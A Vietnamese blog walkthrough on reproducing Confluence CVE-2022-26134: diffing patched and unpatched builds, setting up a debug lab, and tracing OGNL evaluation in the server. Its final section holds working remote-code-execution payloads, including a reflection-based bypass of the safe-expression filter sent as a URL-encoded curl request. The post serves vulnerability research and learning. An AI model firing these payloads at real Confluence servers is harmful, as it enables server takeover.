Thực hành debug Confluence CVE-2022-26134

Đây là bài blog đầu tiên nên từ ngữ của mình hơi lủng củng mong các bạn thông cảm, Bài viết hướng đến cách thực hiện debug một trương trình nhằm hiểu rõ lỗ hổng của một cve được public và giúp bạn có thể tự re poc của một cve công khai. Bài viết được tham khảo hoàn toàn từ bài viết taidh.
Công cụ thực hiện:
Winmerge + idea64.exe diff (tính năng trong IntelliJ)
-> Thực hiện diff các file code.
IntelliJ IDEA
-> công cụ debug.
Docker
-> Khởi tạo ảo hoá db cho Confluence.
1 Patch Analysis
CVE-2022-26134 đã được fix trong các version sau RL .
Với mô tả đánh giá thì đây là một lỗ hổng liên quan đến OGNL Injection vậy nên ta sẽ tập chung vào các đoạn code về OGNL.
Link tìm hiểm thêm về OGNL: https://hackmd.io/@tEVDftN-R5u7d5_1Xn0DGg/S1HPNhUD6
Và được hướng dẫn fix từ phiên bản 7.15.0 - 7.18.0 như sau.
Mình có thể hiện thực hiện tải file xwork-1.0.3-atlassian-10.jar
đã patch lỗi hổng với filexwork-1.0.3-atlassian-8.jar
Nhưng mình muốn một cái nhìn tổng quát nền mình sẽ thực hiện tải 2 version 7.18.0 vs 7.18.1 để thực hiện diff.
Các bạn có thể tải 2 phiên bản ở đây LINK.
2 Diff code Winmerge VS idea64.exe
Với Winmerge bạn có thẻ diff các folder nhưng diff các file class cần phải add plugin ngoài để có thể tự động diff các file .class (byte code).
Bạn có thể add plugin tự động decode file .class bằng cách tải https://github.com/VHAE04/Research/blob/main/tool/jd-cli-windows-1.0.0%20(vha).zip
src : syany
Sau khi cài đặt Winmerge
Bạn giải nén file zip trên truy cập tới WinMergePlugins\ForExe chạy file install.bat với quyền Administrator.
Bạn vào Plugins -> Plugin settings hiện plugins này là được.
2.1 Thực hiện diff code với Winmerge.
Bạn bỏ chọn Identical Items để chỉ hiện những file khác nhau về nội dung.
Ta chú ý về file xwork của 2 phiên bản và thực hiện so sánh.
Dạo quanh ta thấy file ActionChainResult.class có thực hiện chỉnh sửa code liên quan đến OGNL.
Trong hàm
execute
của classActionChainResult.class
xóa đoạn xử líOgnl
Và xoá 2 thư viện đã import là
com.opensymphony.xwork.util.OgnlValueStack
vàcom.opensymphony.xwork.util.TextParseUtil
.
Vậy là mình đã biết được endpoint để thực hiện đặt debug và tìm hiểu vấn đề.
2.2 Thực hiện diff code với idea64.exe.
Lệnh thực hiện diff IntelliJ 2 thư mục.
idea64.exe diff folder1 folder2
Điều mình không thích diff với IntelliJ vì 2 lý do:
Không gom các file vào thư mục như Winmerge.
Thực hiện so sánh độ chính xác không cao ( mình không rõ IntelliJ diff theo size hay ký tự rỗng nhưng mình đã thử chuyển chế độ so sánh theo text nhưng các file có text giống nhau nhưng khác size IntelliJ vẫn detect là khác nhau )
note: Như hình IntelliJ không thực hiện gom file vào từng chỉ mục và file ActionContext.class
dù có text giống nhau nhưng IntelliJ đã đánh là khác nhau chỉ vì khác size dù mình đã chuyển chế độ Compare của ứng dụng thành Text, điều này không tốt khi mình re poc nhưng cve mà không có hint từ nhà phát hành.
3 Thực hiện debug
3.1 Setup môi trường debug
Confluence sử dụng db postgres nên ta có thể khởi tạo trên docker.
Tạo file docker-compose.yml
và thực hiện chạy docker-compose up
.
version: '2'
services:
db:
image: postgres:12.8-alpine
ports:
- 5432:5432
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
Thực hiện truy cập IntelliJ cấu hình debug remote JVM.
Thực hiện chỉnh sửa file atlassian-confluence-7.18.0\bin\catalina.bat
thêm dòng
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
để thực hiện debug.
Note: bạn có thể thực hiện chạy toàn bộ qua docker bao gồm cả confluence và db bằng cách khởi tạo file docker-compose.yml
sau:
version: "3.9"
services:
conf:
image: atlassian/confluence-server:7.18.0
container_name: confluence-server
depends_on:
- db
ports:
- 8090:8090
- 8091:8091
- 5005:5005
environment:
ATL_JDBC_URL: jdbc:postgresql://db:5432/confluence
ATL_JDBC_USER: postgres
ATL_JDBC_PASSWORD: postgres
ATL_DB_TYPE: postgresql
ATL_DB_DRIVER: org.postgresql.Driver
ATL_DB_SCHEMA_NAME: confluence
JVM_SUPPORT_RECOMMENDED_ARGS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
ATL_LICENSE_KEY:
[REDACTED]
db:
image: postgres
restart: always
container_name: confluence-database
environment:
POSTGRES_PASSWORD: postgres
POSTGRES_DB: confluence
Lưu ý đây là phiên bản java mình dùng
Thực hiện cấu hình home directory lưu ý nếu bạn không cấu hình thư mục chính sẽ bị lỗi như này trên windows.
Các bước cấu hình home directory:
Chỉnh sửa file ~\confluence\WEB-INF\classes\
confluence-init.properties
confluence.home tới đường dẫn tới file confluence.
Khởi chạy file confluence
bằng catalina.bat run
Truy cập tới http://127.0.0.1:8090 để cấu hình.
Thực hiện add lib để có thể debug code. Đường dẫn tới lib webapp
~\atlassian-confluence-7.18.0\confluence\WEB-INF\lib
3.2 Tiến hành debug
Thực hiện đặt breakpoint ở dòng xử lí Ognl
Tiến hành fuzz đường dẫn bằng dirsearch cho đến khi trigger breakpoint ở đây là
http://127.0.0.1:8090/.admin/
Dòng 63 khởi tạo stack Ognl.
Dòng 64 đưa namespace
và stack
vào hàm translateVariables
ở trong file TextParseUtil.class
, ta f7(step) nhảy vào đây xem hàm này sẽ xử lí như nào.
Dòng 17 kiểm tra theo regex
chuỗi có trong ${}
không, nếu có sẽ nhảy vào vòng lặp for
còn không sẽ return về namespace
của mình.
Quay về dòng 65 tiếp tục xử lý tương tự với actionName
Vì lúc trước diff bản patch có 3 dòng bị xoá là 63 - 65
nên mình sẽ thử một payload khác để nhảy vào vòng for
như ${4*4}
curl http://127.0.0.1:8090/%24%7B4%2A4%7D/
Track tiếp luồng code dữ liệu được đẩy vào for
và được chuỗi trong ${}
của namespace
được gắn vào g
và đẩy vào hàm findValue()
F7 tiếp để xem nó xử lý như thế nào.
Hàm findValue()
trong file OgnlValueStack.class
nhận dữ liệu đi qua 2 dòng check null
và hàm check isSafeExpression()
xong được compile
tại dòng 84.
Sau khi thực hiện compile
trong hàm findValue()
dữ liệu trả về là 16 vậy code ta đã được thực thi.
Tiến hành RCE với payload:
${@java.lang.Runtime@getRuntime().exec("calc")}
breakpoint vẫn trigger và không có chuyện gì xảy ra, nếu để ý kỹ phân tích ở trên sau khi đi qua hàm findValue()
dữ liệu đi qua 2 dòng check null
và hàm check isSafeExpression()
tiến hành đi vào hàm để xem sao payload không hoạt động.
Hàm này sẽ gọi đến hàm isSafeExpressionInternal()
Trong hàm isSafeExpressionInternal()
ta sẽ chú ý đến 2 hàm check :
isUnSafeClass()
các class unsafe unsafePropertyNames
OgnlUtil.compile(expression)
Hàm này sẽ parse
expression
thành các AST node rồi xong sẽ được đưa vào hàmcontainsUnsafeExpression()
để kiểm tra.Các AST node được parse sẽ được duyệt qua từng node rồi so sánh với từng điều kiện để xem có hợp lệ hay không. Những yếu tố được check là:
node type
className
methodName
variable name
Điều kiện để qua được những điều này:
node type không nằm trong 3 type:
className phải thuộc 1 trong 9 class:
2 method không được sử dụng:
Một số variable unsafe:
Tiến hành debug tại sao payload không hoạt động thì khi duyệt qua node đầu tiên thì className là java.lang.Runtime
-> không nằm trong những className được cho phép
Để bypass filter này mình sử dụng Java Reflection
ps : tsublogs Java Reflection
payload nối chuỗi bypass qua lọc class java.lang.Runtime
:
${Class.forName("java." + "lang.Runtime").getMethod("getRuntime", null).invoke(null,null).exec("calc")}
curl:
curl http://127.0.0.1:8090/%24%7BClass.forName%28%22java.%22%20%2B%20%22lang.Runtime%22%29.getMethod%28%22getRuntime%22%2C%20null%29.invoke%28null%2Cnull%29.exec%28%22calc%22%29%7D/
Reference
Subscribe to my newsletter
Read articles from VHAE04 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by